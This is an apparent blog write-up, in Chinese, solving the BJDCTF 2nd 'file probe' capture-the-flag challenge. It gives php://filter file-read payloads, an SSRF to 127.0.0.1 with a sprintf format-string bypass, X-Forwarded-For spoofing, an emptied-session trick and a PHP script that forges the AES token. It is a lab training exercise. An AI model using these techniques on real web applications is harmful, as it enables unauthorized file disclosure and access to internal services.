[BJDCTF 2nd]文件探测

知识点

  • php://filter
  • ssrf
  • sprintf格式化字符串漏洞
  • session绕过
    初始界面

抓包,header处发现提示,Hint:home.php

访问home.php,跳转到了system.php

url中带有file=system,有可能存在文件读取,尝试用伪协议php://filter读取
home.php?file=php://filter/convert.base64-encode/resource=home
此处读取到home.php和system.php的源码

<?php
//home.php
setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);

if(isset($_GET['file'])){
    if (preg_match("/\^|\~|&|\|/", $_GET['file'])) {//^ ~ & |
        die("forbidden");
    }

    if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
        die("not now!");
    }

    if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
        die("You! are! not! my! admin!");
    }

    if(preg_match("/^home$/i", $_GET['file'])){
        die("禁止套娃");
    }

    else{
        if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
            $file = $_GET['file'].".php";
        }
        else{
            $file = $_GET['file'].".fxxkyou!";
        }
        echo "现在访问的是 ".$file . "<br>";
        require $file;
    }
} else {
    echo "<script>location.href='./home.php?file=system'</script>";
}
  • 过滤了^ ~ & |以及flag
<?php
//system.php
$filter1 = '/^http:\/\/127\.0\.0\.1\//i';//http://127.0.0.1
$filter2 = '/.?f.?l.?a.?g.?/i';//过滤flag


if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
    $url = $_POST['q2'].".y1ng.txt";//q2.y1ng.txt
    $method = $_POST['q3'];//q3 方法

    $str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

    echo $str1;

    if (!preg_match($filter1, $url) ){//如果开头没有匹配到http://127.0.0.1则退出
        die($str2);
    }
    if (preg_match($filter2, $url)) {
        die($str3);
    }
    if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
        die($str4);
    }
    $detect = @file_get_contents($url, false);//$detect 获取文件内容
    print(sprintf("$url method&content_size:$method%d", $detect));//输出文件内容
}

?>

  • q1 无用,随便写
  • q2 会在后面拼接.y1ng.php,使用#注释掉后面的内容,即xxx#.y1ng.txt
  • 要求q2以http://127.0.0.1开头
  • q3 格式化字符串漏洞,使用%绕过,即q3=POST%s% -> POST%s%%d,%%会将%吞掉,d就成字符串了
  • home的源码中还过滤了admin,猜测此处还存在一个admin.php,此处读取admin.php

获取到admin.php的源码

<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)//aes加密 cbc模式
{
    $method = 'AES-128-CBC';
    $iv = md5($_SERVER['REMOTE_ADDR'],true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
    if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
        return true;
    else
        return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {//remote_addr=127.0.0.1
    highlight_file(__FILE__);
} else {
    echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}


$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {
    $decr = $_GET['decrypt'];
    if (Check()){
        $data = $_SESSION['secret'];//$data从_SESSION['secret']中获取
        include 'flag_2sln2ndln2klnlksnf.php';
        $cipher = aesEn($data, 'y1ng');//aes加密密钥为y1ng
        if ($decr === $cipher){
            echo WHAT_YOU_WANT;
        } else {
            die('爬');
        }
    } else{
        header("Refresh:0.1;url=index.php");
    }
} else {
    //I heard you can break PHP mt_rand seed
    mt_srand(rand(0,9999999));
    $length = mt_rand(40,80);
    $_SESSION['secret'] = bin2hex(random_bytes($length));
}


?>
  • 要求127.0.0.1访问
  • GET方式接收decrypt变量
  • _SESSION['secret']中获取数据,并使用aesEn($data,$key)函数加密
  • decrypt的值与加密后的值比较,相同则打印flag

bypass

  • 127.0.0.1使用X-Forwarded-For绕过
  • bp发包时,删去session值,则session数组中的值会置空,相当于$data='';
    构造payload
<?php
function aesEn($data, $key="y1ng")//aes加密 cbc
{
$method = 'AES-128-CBC';
$iv = md5("174.0.0.15",true);
return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

$cipher = aesEn('','y1ng');
echo urlencode($cipher);
//rs6fba9t%2FmQQ1ydsyw4c1Q%3D%3D

参考
https://www.cnblogs.com/yesec/p/12554957.html

posted @ 2020-08-19 15:30  山野村夫z1  阅读(387)  评论(0)    收藏  举报